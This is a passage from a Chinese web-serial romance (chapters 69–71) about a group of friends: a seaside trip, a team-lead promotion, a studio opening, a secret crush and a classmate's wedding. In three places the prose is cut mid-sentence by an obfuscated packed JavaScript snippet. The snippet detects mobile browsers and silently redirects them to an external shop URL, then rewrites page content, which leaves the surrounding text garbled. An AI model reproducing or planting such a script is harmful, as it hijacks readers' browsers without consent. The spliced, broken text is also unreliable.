他轻轻地将丸子头摆正,稍微退开一点,满意地欣赏自己完成的发型,像是在观赏一件精美的艺术品。 “好,那晚上回酒店再说哦,妈妈拜拜!” 黄时雨挂掉电话,伸手轻轻碰了碰祝则溪扎好的丸子头,转头冲祝则溪比了一个大大的赞,“你好厉害!” 祝则溪笑着耸耸肩,发出一声微不可察的叹息,“跟你很搭。” 从太阳高悬到日落西山,按照祝则溪提前做好的攻略,四个人一起在海边待了一整天,看远山如黛,海水如镜,游人如织。 回到酒店时,已经快九点了。 一行人在走廊上告别后,祝则溪和齐章年目送着两个女生进入房间后才关门。 “齐章年,过来,”齐章年连背包都还没来得及放下,就被祝则溪拉到床边坐着,“我有重要的事要跟你说。” 齐章年:“?” 齐章年轻抬了一下下巴,示意祝则溪继续往下说。他倒要看看,是什么事情值得祝则溪迫不及待要跟人分享,一刻都等不了。 “今天黄时雨夸我身材好!” 说到最后三个字的时候,祝则溪忽然激动地站起来,围着齐章年开始360°立体式循环播报—— “你听到了吗?” “她夸我身材好诶!” “我忍了一整天,现在终于可以说出来了!” “你都不知道我当时有多开心,你都不知道!” 齐章年的表情从兴奋变成震惊最后变成无奈,“祝则溪,截至到目前为止,你已经连续说这句话20次了,聋子也该知道了。” 看到齐章年比出“嘘”的手势,祝则溪终于停了下来,但脸上因为过于兴奋而显出的绯红色却完全保留了下来,“哎,你不懂。” “哼,”齐章年也不恼,撑着头从上往下扫视了一边祝则溪,“那我问你一个问题呗,你必须如实回答。” 祝则溪抬起头,“可以。” “你打算……什么时候跟黄时雨表白啊?” “不知道,”祝则溪的手指开始无意识地摩挲床单,“也许是明天,也许这辈子都不会表白了吧。” 他心里清楚,暗恋了这么多年,曾经有无数个可以开口的机会摆在面前好像都没能抓住,祝则溪甚至都不敢想象,万一被黄时雨拒绝了,自己该怎么办。 所以,如果无法面对那个失败的结果的话,还不如永远不说,这样就永远会有那样一个可能性存在,让祝则溪愿意相信。 祝则溪苦笑了一声,看着窗外喃喃自语道,“或许,祝则溪本来就是个胆小鬼吧。” 69. 第七十次招惹 愉快的时光总是那么短暂,从洛今回来之后,黄时雨就正式投入到组长竞选的准备工作当中。 此次竞选一共有四位候选人,其中对黄时雨威胁最大、最有影响的就是杜宁,这件事所有人都心知肚明。 “明天就要竞选了,你紧张吗?” 下班后,黄时雨被许灵均拉着去便利店买关东煮,两个人坐在椅子上,一边吃一边各自分享着这几天在工作上遇到的糟心事。 “肯定有点紧张啊,毕竟我跟杜宁的能力基本不相上下,业绩什么的也接近,所以这最终结果就变得扑朔迷离了。” 说着黄时雨又打开了手机里的述职讲稿看了一遍,这已经是她今天第N次打开这个文件了。 刚重温了没几分钟,黄时雨又直接摁灭手机,把桌子上还没吃完的几串关东煮全部塞进嘴里,“算了不管了,吃饱了明天直接上战场吧!” 虽然嘴上是这么说,黄时雨回到家后又打开电脑反复修改、练习了两个小时,才达到自己比较满意的效果,起身走向卫生间,开始洗漱护肤,准备明天以最好的姿态面对这个晋升述职。 一切都像黄时雨预想的那样有条不紊地进行着,黄时雨抽到的述职顺序是第四个,也就是最后一个,这样至少可以看看别人的水平怎么样,她心里的大石头稍微落了点儿地。 黄时雨在椅子上坐得端端正正,一脸严肃地看着每一个站在台上汇报的人,时而动笔在A4纸上写点备注,整点“临时抱佛脚”的事。 “最后一位候选人,黄时雨,有请!” 听到组长念到自己的名字,黄时雨自信大方地站到台上,微笑着跟台下坐着的各位同事鞠躬后,才打开PPT开始自己的述职—— “各位同事上午好,我是黄时雨,很荣幸今天能够站在这里,参加本次组长竞选,以下是我的工作汇报……” 跟以前无数次站在台上的经历一样,黄时雨的心慢慢平稳下来,她不再关注着台下每一位同事的表情,而是自信流畅地把自己的工作经历完整讲述出来。 明媚大方,这是黄时雨从小到大一贯的行事风格。 “以上就是我的全部工作汇报,谢谢大家!” 黄时雨说完最后一句话,下意识看向杜宁,期待能从这位强劲的竞争对手身上看到一些不一样的评价。 但杜宁的反应很平静,她笑着冲黄时雨拍手鼓掌,眼底是藏不住的欣赏和赞许。 黄时雨也报以最真诚的微笑,冲她眨了一下眼睛。 用许灵均的话来说,黄时雨和杜宁是最强的对手,也是最棒的朋友! 等待结果的过程是最煎熬的,黄时雨坐在工位上,脑海里不断上演着竞选成功和竞选失败的两种情景,两种声音在脑海里不断交织、堆叠,惹得黄时雨一整个上午都心不在焉的。 突然,电话铃声响起打断了黄时雨忧虑的思绪,她拿起手机一看,居然是小赵姐。 小赵姐打电话是有什么事吗,黄时雨一时想不出来。 “黄时雨,现在在忙不?” 从高中毕业后,黄时雨就很少跟小赵姐见面了,平时除了在微信聊一聊就没有什么其他的接触方式了,所以这是两人第一次通电话,黄时雨隐隐觉得可能是有什么大事。 “不忙啊小赵姐,”黄时雨边打电话边走到窗户边,尽力不打扰其他同事工作,“是不是……有什么大事要宣布啊?” 小赵姐在电话那头的笑意都藏不住了,直接向黄时雨坦诚交代,“哎呀,猜得真准,不出意外的话,我今年或者明年大概就要结婚了!” “什么?!” 黄时雨惊讶地捂住嘴巴,回头确认没有其他人看到自己差点激动到跳脚的行为后,才继续往下说,“不是,这么突然吗,熊毅丰跟你求婚了?” “嗯,”小赵姐突然打开话匣子,一点一点把求婚细节全部告诉了黄时雨,“我前几天就发现他好像在偷偷准备礼物,我原本以为就是什么纪念日的礼物,所以没有多在意,结果昨天晚上我下班回去,在我一点准备都没有的时候,就这么突然就求婚了!” 黄时雨的手死命捂住快要笑出声的嘴,努力把喉咙里快要憋不住了的尖叫收回去,“啊啊啊啊好甜啊,我的天呐!” 看别人谈恋爱就是好磕啊,黄时雨现在对这句话简直深信不疑。 黄时雨努力努力压下嘴角,平复住内心的激动,继续追问,“所以你们打算多久办婚礼呀?” “具体时间还没想好,到时候第一个跟你说!” “我一定风雨无阻,新婚快乐哦,小赵姐!” 刚挂掉电话,黄时雨就迫不及待地把这件大事分享到群里。整整60秒的语音里,有一半都是各种语气词,言语中的兴奋程度仿佛自己才是这件事的主角。 转身回工位时,杜宁正朝黄时雨招手,黄时雨虽然有些不明所以,却还是走到了她旁边。 “怎么了?” 杜宁什么也没说,指着电脑屏幕上的“岗位任命通知”,把椅子往旁边挪动了一下,给黄时雨留出足够的空间—— 通知里赫然写着黄时雨的名字! 这是……竞选组长成功了? 黄时雨不可置信地盯着通知栏看了好一会儿,然后才兴奋地挥动着自己的胳膊表达喜悦。 “恭喜哦,你很厉害,”杜宁的脸上看不出任何一点抱怨,反而朝黄时雨伸出手,看向黄时雨时也是平静又柔和,像是对这个竞争对手十分欣赏。 “谢谢。” 两人的手握在一起,掌心相贴,温和的体温在黄时雨和杜宁之间传递,一如两人既靠近又疏离的竞争关系。 黄时雨连忙把这个好消息发到“相亲相爱一家人”和“一中小分队”的群聊里,发出后就在工位上边处理文件边坐等夸夸。 很快,一大波夸夸就出现在了黄时雨的微信聊天界面,不管是表情包也好,还是语音或者文字也好,黄时雨都照单全收并逐条回复。 “苗苗,这升职了不得请客吃饭啊,”黄时雨刚回复完消息,还没来得及放下手机,就看到了吴笙笙的约饭邀请。 黄时雨无奈地摇摇头,发了一条语音过去,“好啊,那就今天吧,下了班我就过来,还是校门口见哦!” 对面回复得很快,“一会儿见!” 黄时雨今天的心情格外好,下楼离开公司的时候还不停地哼着歌,走个路都恨不得一蹦一跳的,但一想到还在公司,还是努力保持着波澜不惊的矜持模样。 天天都要扮演一个成熟的大人真心累,哦不对,现在是要扮演一个成熟的组长了。 黄时雨戴上耳机,坐了接近一个小时的晚高峰地铁后,终于抵达了津南大学。 站在校门口,黄时雨突然思绪万千。 自从大学毕业后,黄时雨就一直忙着工作,再也没有回学校看过,趁着吴笙笙还在开组会的间隙,黄时雨准备在学校里随便逛一逛。 校园和记忆里还是一模一样,没有什么很大的变化,可能唯独就是当年还在学海里苦苦挣扎的大学生现在已经摇身一变,成为了苦命的职场打工人。 以前总看网上的人说,人不能同时拥有青春和对青春的感受,那时或许还不懂这句话的深意,现在来看,似乎是懂了一部分。 黄时雨翻了翻吴笙笙前段时间发过来的安排,确认眼前这栋楼就是吴笙笙正在开组会的地方,便在楼下的长椅上坐下来。 “苗苗!” 黄时雨听到声音就从椅子上弹起来,看到吴笙笙背着帆布包从教学楼里跑出来,好像不自觉地把高中时代的那个吴笙笙的样子重合到了眼前的景象之中。 一模一样的打扮,一模一样的跑步姿势,说不上哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吴致远的声音瞬间喷薄而出—— “我没钱了,给我转点钱呗!” “我不会给你转钱的,”吴笙笙坐直了身子,用嘴对准手机的收音区,一字一顿地把每一个字都咬得很清楚,生怕对面漏掉了某一个字,“一分都不会转!” 黄时雨猛地抬头,正对上吴笙笙坚强而笃定的眼神,她的眼睛里再也没有不得不低头、不得不忍受的无奈,再也不是那个需要看人脸色行事的吴笙笙! 她自信、勇敢、乐观、坚韧,一如她曾经梦想成为的那种人—— “再也不要回满城了。” “我以后跟他不是一路人。” 对面嚣张的气焰像纸老虎一样瞬间被浇灭,吴致远估计也没想到,现在这通电话的两端,如果不是因为这个永远割不断的血缘连接,将不会再有接通的可能性。 “……你什么意思?” 黄时雨冷笑一声,伸手从吴笙笙手中拿过手机。 她轻轻张嘴,却是替吴笙笙道出了这些年被压迫、被针对的事实—— “吴致远,笙笙是什么意思没有人比你更清楚了,你没必要再装了,”黄时雨看了一眼吴笙笙的表情,得到她允许的指令后,开始继续往下说,“你,包括你们家所有人都欠吴笙笙的,她从小到大的生活中,从来没有接受过来自家庭的任何温情、任何爱护,甚至,连最基本的关心都没有,所以现在,你们也无权向她索取任何回报。” “你听懂了吗?” 吴致远冷哼一声,声音像是从鼻子里发出来的,“你只是个外人,你没资格过问我们家的事情,好吗?” 吴笙笙保持了一晚上的平静的面部表情终于有了明显的波动,她轻轻眨了几下眼,睫毛就沾上了一层浅浅的湿润。 她深吸一口气,像是终于能够放下过去,坦然直面,虽然声音还有些轻微发抖,但听上去却无比决绝,“……我对你们家来说,难道就不是外人了吗?” 70. 第七十次招惹 “小祝,我明天上午先去工作室那边收拾一下,你之后带着画材那些直接过来安置就行。” 说这话的人是李岱,祝则溪工作室的合伙人,也是他的前同事。 李岱听说了他的创业想法后,两个人不谋而合,决定一起共事,经过这几个月的实地考察,祝则溪最终敲定了工作室的位置。 祝则溪正在为搬新工作室做最后的一点准备工作,他把手机放在桌面上,整个屋子都是一直不停的键盘敲击声—— “好,我知道了,那明天见喽?” “早点休息,明天见!” 终于完成了全部的预备工作后,祝则溪关上电脑,一看时间居然已经1:32了,他赶紧穿上拖鞋开始洗漱,接着又把衣柜翻了个底朝天,找出那件看起来非常上档次的西装,把它挂在熨烫架上,打开熨斗开始对这件西装的褶皱处进行紧急的补救措施。 一直搞到半夜两点,祝则溪才满意地放下熨斗,上床进入睡眠模式。 祝则溪成立新工作室,小分队里的另外三个人当然不会错过,每个人都提前安排好时间,专门来到新工作室给祝则溪帮忙。 “你把东西放这里就行,谢谢。” “不要碰那个,一会儿我来收拾。” “不着急,你慢慢弄。” 祝则溪一边自己干活,一边还要不停地跟搬家师傅做好叮嘱,毕竟这些美术画材都价值不菲,万一要是磕着碰着了,这损失可就大了。 “老板,你搬家穿个这么贵重的衣服,万一弄脏了怕是要心疼哦,”一个正在挂走廊画作的搬家师傅边说边摇头。 祝则溪低头又看了一眼自己身上的西装,在这个灰尘飞扬的工作室里好像看起来确实有些隆重了,“没事,我会注意的。” 祝则溪刚把画纸在大桌面上铺开,就听到门口传来了黄时雨的声音—— “这工作室这么大,去哪里找祝则溪啊……” “我在这里!” 祝则溪立刻放下手里的活儿,从房间里探出头来,招手跟黄时雨示意。 黄时雨立刻刹住车,毕恭毕敬地朝祝则溪鞠了一躬,一句“小祝老板好”把祝则溪吓得够呛。 “诶别别别,”祝则溪赶紧伸手扶住黄时雨的两条胳膊,才没让这个礼节继续进行下去,“真受不起。” “你来挺早啊,黄时雨,”吴笙笙和齐章年也紧随其后走进工作室,“这工作室蛮宽敞啊,够气派的,不错!” 祝则溪环视了一圈之后也赞同地点点头,指着地上几个敞开的大箱子,“其实也没有特别多要帮忙的,你们就把这些装饰品摆好就可以了。” “好嘞,”齐章年第一个积极响应。 说干就干,黄时雨把袖子挽起来,用发圈把头发高高扎起,小心翼翼从箱子取出装饰品,按照不同种类分门别类地摆在地上,然后在空地和各个房间内来回移动,把各种装饰品一一归位。 摆好装饰品,黄时雨又找到扫把,把走廊简单打扫了一遍,这才将整个工作室的原貌给复原了出来。 收拾整理了一个上午,黄时雨都还没来得及问祝则溪的画室是哪一间。 “小祝老板,你的画室是哪一个啊?” 祝则溪从一堆画材中抬起来,抬手指着走廊尽头靠左的那个房间,“就那间,有一个小阳台的那个,看到了吗?” “看到了,”好奇心去世这黄时雨的脚步开始慢慢往前移动,想着去祝则溪的画室看一看。 “等一下!” 看到黄时雨的动向,祝则溪立马从蹲着变成站着,快跑两步拦住想要进入自己画室的黄时雨。 “怎么了?” 他移开视线,随口说了一个十分蹩脚的理由,“里面还有点乱,之后收拾好了你再进去看吧。” 黄时雨表示理解,“好,那之后有机会我再过来吧。” 看到黄时雨转身去找吴笙笙,祝则溪才松了一口气。 他走进画室,拿起正摆在桌面上、还没来得及收到柜子里的画册—— 里面的画作无一例外,都跟黄时雨有关。 他的手指轻轻搭在每一张画上,细细抚摸着从自己笔下跑出来的不同时期、不同情景下的黄时雨。 从初一到大四,从单向暗恋到相互认识再到分隔两地,祝则溪都习惯了用画画来记录,希望能将某些转瞬即逝的时间无限延伸,直至充盈在自己的整个生命中。 一直翻到大学封校时期画的画,祝则溪的手才第一次停下来。 即使在无法见面的日子里,祝则溪也笔耕不辍,坚持着产出与黄时雨有关的画作。 “祝则溪,又在画画?” 刘俞凡洗完澡从卫生间出来,看到祝则溪正在埋头画画,桌子上的各种工具摆了一堆,各种画笔轮番上阵。刘俞凡见他不回答,站在祝则溪身后默默看了好一会儿,很快,一个惟妙惟肖的漂亮女孩就跃然纸上。 “又在画你女神啊,长得好漂亮诶,”刘俞凡一只手撑在桌子上,一只手搭在祝则溪的肩膀上,“你暗恋她多少年了?” 祝则溪脱口而出,“七八年了吧。” “而且,长得漂亮也只是她其中一个优点而已,她性格很好,学习也很好,才艺很多,也非常擅长与人打交道,朋友很多,大家都很喜欢她的,我也是。” “停!” 刘俞凡怕祝则溪再说下去就要收不住了,及时打断他的发言,他只关心祝则溪到底有没有夸大其词,“七八年?!” 刘俞凡原本以为祝则溪说出个一两年或者两三年就已经顶天了,可没想到的是,一场跨越整个青春时光的暗恋居然一直在自己身边的室友身上上演。 “那她知道吗?” 祝则溪的叹息声几乎微不可闻,“肯定不知道啊,知道了还算暗恋吗?” “那倒也是。” 刘俞凡从桌子上拿起这张画,仔细端详了一阵子,“我有点好奇啊,你怎么知道她的宿舍长什么样子,又怎么知道她在宿舍会干嘛呢,也没见你俩打过视频啊。” 祝则溪脸上的笑意突然加深,他从刘俞凡的手里把画拿回来,把它的四角全部压平之后才放回去,“我就是知道。” 在这一点上,祝则溪确实有自信的资本。 可能某些连黄时雨本人都记不太清楚的事情,祝则溪都会通过画画的方式完整保存下来,就像一台稍微有点延迟的照相机,虽然还做不到及时出图,但却能永久定格,永久保存。 祝则溪把画室简单收拾了一下,各种物品全部归位后,拿上钥匙跟早已站在门口准备去吃午饭的另外三人集合。 还没走到门口,黄时雨的尖叫声就闯入了祝则溪的耳朵,猝不及防—— “小赵姐的婚礼邀请函,你们收到了吗?” “啊,我没收到啊,在哪里啊?” 齐章年拿着手机凑到黄时雨旁边,刚想开口询问就也收到了小赵姐发来的电子邀请函,“诶,我也收到了!” “好般配啊他俩,你们说当年打辩论的时候怎么没发现他俩有问题呢?” 黄时雨把电子请帖上的婚纱照翻来覆去看了好几遍。 “可能你的注意力没放在他俩身上吧,”祝则溪推门出来,接上黄时雨未说完的话,“心思全部用在怎么获胜上了。” “9月30日,刚好今年放假,能赶上,”吴笙笙说着就打开了购票软件,看了一下购票时间,“明天就可以买票了哦,你们记得别错过了。” 一行人正在工作室门口讨论去吃什么的时候,李岱推门出来,他看着除了祝则溪的另外三个人,有些疑惑。 “小祝,这几位都是你的朋友吗?” 祝则溪的目光在黄时雨身上多停留了一秒钟,随即朝李岱点头,“对,都是我的好朋友。” 李岱跟黄时雨、吴笙笙和齐章年依次点头致意,“你们聊,我先走了。” “小祝老板,打算什么时候开张啊?” 齐章年走到祝则溪身边,撞了一下他的胳膊笑嘻嘻地询问。 “别乱叫啊,”祝则溪无奈地纠正齐章年的称呼,打开手机备忘录查看日程,“下周一就开张。” “周一啊,那可能赶不过来了哦,”黄时雨有些遗憾地摊手,“抱歉啊。” “哦没事没事,”祝则溪连忙摆手,急得语气都变了调,“你的事情和工作最重要,来不来都没关系,真的。” 黄时雨快绷不住笑了,但又不得不努力忍住。 她转身整理了一下表情,继续保持着遗憾和惋惜的表情,“那好吧,也没办法。” 祝则溪终于如释重负地露出一个笑脸,脸色看起来没有丝毫的不悦。 黄时雨竟无端地生出一种逗他的罪恶感。 回到家,黄时雨提前安排好组里的工作事宜,跟主管说明了一下情况,得到主管批准的半天线上办公的允许后,黄时雨才终于松了一口气。 万事俱备,就等着祝则溪的开业仪式了。 黄时雨换上昨天晚上就提前准备好的白色长裙,用卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028471|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发棒简单做了个卷发造型,画了个清透的伪素颜妆容,坐上地铁就直奔祝则溪的工作室。 这是黄时雨送给祝则溪的第一件开业惊喜。 工作室离地铁口不远,黄时雨远远就看到了门口摆放的一长排开业花篮,祝则溪和李岱正站在门口,跟前来参加仪式的朋友们握手交谈。 看起来,祝则溪对这种交谈已经游刃有余了,他熟练地跟每一位来访的朋友们交流合影,又将他们一个一个邀请进工作室内部,让其他同事带着他们去相应的座位上落座。 当年那个腼腆、羞涩、总是不知所措的小男孩也成长为了能独当一面的成熟的大人了,黄时雨竟然还有些感慨。 还没走到门口,祝则溪的视线就跨越了大片人群落到了黄时雨的身上。 他的眼神一瞬间亮起来,那个看起来游刃有余的小祝老板突然开始紧急整理自己已经非常板正的西装和发型,确认外形条件良好后,才走出人群来到黄时雨身边。 “你不是有工作吗,怎么会过来?” 祝则溪的语气里是藏不住的激动,他卸下了社交场合里的面具,将最真实的情感完全袒露在黄时雨的面前。 他还是会兴奋、会激动、会紧张,在黄时雨面前一直都是。 黄时雨上前一步,从背后变出一束花来,举到祝则溪面前,“小祝老板,开业大吉哦!” 这束花和其他的开业花篮很不一样,是由向日葵、花烛和黄金鸟三种花组合在一起的,向日葵共有三朵,分别朝着不同的方向盛开,生机勃勃的样子在阳光的照耀下更增添了一份灿烂。 这是黄时雨送给祝则溪的第二份开业礼物。 “谢谢苗苗,很漂亮的花花,”祝则溪双手捧住花束,带着黄时雨往工作室里走。 工作室里的环境已经和搬家当天的样子很不一样了,乳白色的哑光地砖称着白色的墙面显得十分沉稳庄重,走廊两边复古造型的柱子上摆着造型各异的工艺品,墙壁上挂着两位合伙人的绘画作品,有些祝则溪的作品黄时雨是见过的,而有些则是第一次见。 “坐这里吧,”祝则溪带着黄时雨走到第一排,指着最中间的位置说,“这里视野比较好。” 黄时雨环视了一圈,总感觉自己一个跟美术基本上毫无交集的人坐在这个位置有点奇怪,转身冲祝则溪小幅度摇了摇头。 祝则溪笑了笑,伸手轻轻把黄时雨按在椅子上,“小祝老板发话了,你一定要这么狠心拒绝吗?” 黄时雨拗不过他,也不想伤害祝则溪的一番好意,“好的,老板。” 祝则溪安顿好黄时雨后,正准备转身离开,却被黄时雨小声叫住,“我还有一个东西要送给你。” 黄时雨把一张折起来的画塞到祝则溪手里,“一会儿慢慢看。” 祝则溪的手指握紧手里这张画,朝黄时雨点点头,然后走出去继续跟其他朋友打招呼。 应付了几个李岱带来的朋友后,祝则溪还是忍不住偷偷溜回了自己的画室。关上门后,他才温柔地打开这幅叠得整整齐齐的画。 绘画技巧一看就很很稚嫩,采用的还是最原始、最基础的火柴人画法。 画面上,祝则溪和李岱一起站在工作室门口,中间牵着一条缎带,黄时雨、吴笙笙和齐章年依次站在他的右手边。 五个小人在门口顶天立地地站着,腿长比例非常逆天。 之所以这样的画风还能认出谁是谁,是因为黄时雨十分贴心地给每一个人都标注了一个代表性特征—— 比如:黄时雨的丸子头,吴笙笙的拖地长裤,祝则溪的白色口罩,齐章年的黑色运动鞋,而新认识的李岱,则是在他的脸上标上了“李岱”两个大字。 祝则溪看着这幅有些稚嫩的“儿童画”忍俊不禁。 他小心翼翼地把这幅画收好,平平整整地把它放进那个放着画册的、写满秘密的暗恋抽屉里。 这满满一抽屉的暗恋故事,仿佛在此刻又有了新的生长机会。 “最后,有请李岱先生和祝则溪先生上台进行剪彩仪式,掌声有请!” 所有人的目光都集中到台上,李岱和祝则溪一起站在缎带中间,李岱从礼仪小姐手中接过剪刀并递给祝则溪,示意他来剪这一刀。 祝则溪握住剪刀往下剪的那一刻,黄时雨同步举起手机。 “咔嚓”一声,既是来自祝则溪手中剪刀带来的开业喝彩,也是黄时雨手中相机的精彩捕捉。 “小祝老板,一定要加油哦,”黄时雨在心里如是说。 71. 第七十一次招惹 黄时雨最近的朋友圈都被小赵姐刷屏了。 每天小赵姐都会固定地发一条关于婚礼的内容,有时是新鲜出炉的婚纱照,有时是婚礼场地的实拍。黄时雨长这么大以来,还从来没以自己的名义参加过朋友的婚礼,所以这次的经历,对黄时雨来说也是一次全新的体验。 小赵姐选择的是草坪婚礼,电子请帖上写的中午十二点准时开始,考虑到或许自己可以帮点什么忙,黄时雨十点半就提前抵达了。 今天天气很好,有一点温和的阳光,均匀地洒在草坪上,呈现出好看的暖黄光,让整个草坪的绿色浓度都增加了不少。 婚礼现场被纯白的鲜花与暖金色的灯光笼罩,空气中浮动着香槟与甜点的香气,一本巨大的、被翻开的书矗立在舞台侧面,上面挂满了小赵姐和熊毅丰这些年的合照,每一张相片都扮演着两人一路走来的甜蜜爱情的讲述者。 黄时雨在签到墙上签好自己的名字,就站在一旁,看着小赵姐和熊毅丰在婚礼司仪的指导下预演婚礼流程。 “黄时雨,快过来快过来!” 预演刚结束,小赵姐就大声呼喊黄时雨的名字,着急地挥手叫她过去。 “小赵姐,”黄时雨激动地张开手臂把小赵姐搂到怀里,但胳膊却不敢将她完全环住,毕竟今天可是小赵姐大喜的日子,万一弄坏了衣服、蹭花了妆可就不好了。 小赵姐拉着黄时雨转了个方向,对着跟拍师使眼色,“姐姐,帮我俩拍个合照呗!” 黄时雨立刻心领神会,伸出胳膊让小赵姐挽住,两个人的头靠在一起,对着摄像机露出会心一笑。 刚拍完照,小赵姐和熊毅丰就被司仪叫到别出去了,黄时雨独自在婚礼现场走走停停,其中大多数人对黄时雨来说都是陌生的,只有偶尔遇到几个高中同学,黄时雨才能聊上几句。 婚礼现场开始播放音乐,黄时雨这才注意到已经快十一点半了。 “苗苗!” 黄时雨刚找了个座位坐下,就听到有人呼唤自己的名字。 回头一看,果然是吴笙笙。 吴笙笙放下包包,整理了一下被风吹乱的头发,坐到黄时雨身边,“你来好早啊,那两个男生还没来吗?” “他俩一起堵在路上了,刚刚我问了一下,”黄时雨晃了晃手机,目光却聚焦在舞台上,“我选的这个位置不错吧,到时候小赵姐就从我们身边走过去,每一个动作都能看得一清二楚。” 吴笙笙竖起大拇指,配合地点头,“选得非常好!” 话音刚落,黄时雨就听到了齐章年那个大嗓门的声音,两人寻声望去,祝则溪和齐章年的视线也正好顺着看了过来。 黄时雨招了招手,让两人坐到了自己的右手边,“来得挺合适啊你俩,还有两分钟就开始了。” 齐章年得意地挑眉,“这就叫来得早不如来得巧。” 突然,头顶射灯的光全部汇总,连同全场所有人的视线,一起汇聚到那个璀璨耀眼的舞台上。 根据小赵姐之前跟黄时雨说过的,这场婚礼的流程比较简单,既不搞煽情,也不搞回忆,主打一个轻松自在的氛围。 目前看来,也确实是按照小赵姐的预期进行的。 所有人都沉浸在这场美好爱情的甜蜜暴击中,虽然没有刻意煽情的桥段,但黄时雨还是在两人交换誓言和戒指的环节控制不住地落泪了。或许,在看到自己的好朋友幸福的瞬间,自己也会很容易感同身受吧。 “擦擦,”祝则溪从口袋里拿出纸巾递到黄时雨手中,他凑到黄时雨的耳边小声问,“你也喜欢这种吗?” 黄时雨抹掉眼泪,勉强露出一个笑容,毫不犹豫地冲祝则溪点点头,“当然啦。” “好,”祝则溪转到另一边,在黄时雨看不到的地方悄悄记录下这句重要回答。 万一某一天,真的能用得上呢? 祝则溪自嘲地扯了扯嘴角,把打下的这句话加入到“私密备忘录”中,成为其中的新成员。 他想记住这句话,但又不知道该以什么样的身份,所以只好先设置为仅自己可见,等到未来的得偿所愿的那一天,再专门讲给众人听。 “熊毅丰先生,赵然小姐新婚仪式圆满礼成,感谢每一位家人朋友的祝福,请各位移步至用餐区就坐!” 婚礼司仪说完结束词,所有人都同时起身鼓掌,目送着这对新人走过花桥才陆陆续续前往餐厅。 所有高中同学坐在相邻的两桌,小赵姐和熊毅丰在敬完酒换下敬酒服之后也坐了过来。 餐厅里播放着温馨浪漫的钢琴曲,每一桌的交谈声此起彼伏,把整场婚礼的气氛推向高潮。 刚一落座,不知道是谁大声起哄,说要让两位新人亲一个。随即,这个倡议得到了两桌人的共同支持,大家全都拍手起哄,纷纷拿出手机想记录下这个美好时刻。 小赵姐眼看着人越围越多,只好点头接受,侧身朝熊毅丰勾勾手指—— 熊毅丰立刻靠过去,轻轻拉住小赵姐的手,偏头吻了上去。 “啊……”黄时雨努力克制住想要尖叫的冲动,转而变成了难以控制的手舞足蹈。 两人吻上的那一刻,几乎所有同学都同时点击了拍照按钮,一个瞬间就在此刻大家相机的记录中成为了永恒。 “好了好了,大家快吃饭吧,”小赵姐的脸有点红,立马岔开话题想要转移大家的注意力,“到此为止啊。” 然而,虽然话是这么说,但小赵姐还是低估了同学们的八卦热情。 午餐结束后,送走了长辈和亲戚,自愿留下来参加晚宴的朋友们全部围坐在小赵姐和熊毅丰身边,有的搬着凳子,有的则直接站在侧面,叽叽喳喳的好奇像春天的鸟鸣声一样连续不断地冒出来,怎么都躲不掉—— “你们俩谁追的谁呀?” “谁先表的白呢?” “谈了多久了?” …… 小赵姐也很坦率,按照大家的提问顺序依次回答。只不过每一次回答,都会“一石激起千层浪”,引发更多的好奇和追问。 “一中小分队”的四人也乖乖地坐在一边,静静听着小赵姐讲述自己的爱情故事。 婚礼的晚餐时间比较早,在餐厅里吃过晚饭,这场婚礼也基本进入尾声了。 朋友们该回家的回家,该赶车的赶车,从四面八方聚集而来的同学们转眼间又要回到四面八方,并且不知归期。 “喂,”祝则溪接通电话,对面不知道说了什么,他的表情立马换上了另外一副光景,随即放下筷子站起来往外走,“稍等,我这边有点吵,我马上找个安静点的地方交流。” 他走出餐厅的步伐有些许着急,看起来这事确实有些棘手。 晚饭时间并不长,祝则溪刚走出去没过多久就结束了。 “祝则溪去哪打电话了?”黄时雨站起来,整理了一下衣服下摆。 “就是不知道啊,他聊工作室的事情,我们现在也不方便给他打电话吧,”齐章年打开电话界面,犹豫了一下还是关掉了。 “哎没事,我们先走吧,跟他说一声就行,”齐章年推着黄时雨和吴笙笙往外走,嘴里还念念有词,“他也不是那么小气的人,总不能因为我们这次没跟他打招呼就生气了,是吧?” 吴笙笙直接在群里@祝则溪:“我们三个先走咯。” 黄时雨跟着两人走到门口,最终还是决定留下来等一等祝则溪,“要不你们先走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17038583|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,我等他一会儿。” “那也行,”吴笙笙拍拍黄时雨的肩膀,并帮她把外套扣子扣好,“拜拜!” “拜拜!” 目送着一位又一位同学离开,黄时雨还是迟迟没有见到祝则溪出现的身影。 难道已经走了吗,黄时雨抱着迟疑的态度靠在门口的玻璃上望着通往大门的唯一通道,心情也从一开始的雀跃变成现在的疲惫。 她低头看着自己的脚尖,开始无聊地数着地板上的瓷砖数量,“1、2、3、……” “诶赵然,还没走吗?” 祝则溪终于结束了这通长达四十分钟的通话,从天台上下楼时,刚好碰到了正坐在餐桌边跟婚礼团队负责人聊天的小赵姐。 “祝则溪,”小赵姐像是猎人找到了猎物一般从椅子上“噌”地站起来,她站在祝则溪面前拦住他的去路,用不容置疑地口吻命令他,“跟我过来。” 祝则溪虽然有些疑惑,但还是跟着小赵姐走到了大厅最前面一个无人的角落里。 